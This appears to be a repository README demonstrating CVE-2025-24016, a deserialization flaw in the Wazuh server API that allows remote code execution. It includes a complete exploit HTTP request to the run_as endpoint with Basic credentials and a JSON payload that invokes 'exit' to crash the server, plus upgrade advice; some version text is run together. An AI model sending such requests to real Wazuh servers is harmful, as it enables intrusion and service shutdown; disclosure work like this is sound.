
CVE-2025-24016: RCE in Wazuh server! Remote Code Execution
This repository demonstrates the remote code execution (RCE) vulnerability in the Wazuh server, introduced by an unsafe deserialization in the wazuh-manager package. The vulnerability allows remote attackers with API access (compromised dashboard, Wazuh servers in the cluster, or certain configurations with compromised agents) to execute arbitrary code on the server.
wazuh-manager version >= 4.4.0>= 4.9.1The vulnerability occurs in the Wazuh API, where parameters in the DistributedAPI are serialized as JSON and deserialized using as_wazuh_object in the framework/wazuh/core/cluster/common.py file. An attacker can exploit this vulnerability by injecting an unsanitized dictionary into DAPI requests, which may lead to the evaluation of arbitrary Python code.
The RCE can be triggered using the run_as endpoint, which allows the attacker to control the auth_context argument. By crafting a malicious request, arbitrary code can be executed on the master server.
To trigger this vulnerability using the server API, follow the steps below.
POST /security/user/authenticate/run_as HTTP/1.1
Host: target.com:55000
Cache-Control: max-age=0
Accept-Language: en-US
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.183 Safari/537.36
Accept: application/json
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Authorization: Basic d2F6dXcta3dpTUltUzNjcjM3UDA1MHItOg== # Base64-encoded "wazuh-wui:MyS3cr37P450r.*-"
Content-Type: application/json
Content-Length: 83
{
"__unhandled_exc__": {
"__class__": "exit",
"__args__": []
}
}

wazuh-wui:MyS3cr37P450r.*-).__unhandled_exc__ which triggers the execution of arbitrary Python code (exit in this case).>= 4.4.0 up to 4.9.0 (not patched yet).exit function is triggered, causing the Wazuh server to shut down.To protect your systems, upgrade to Wazuh version >= 4.9.1 where this issue is patched.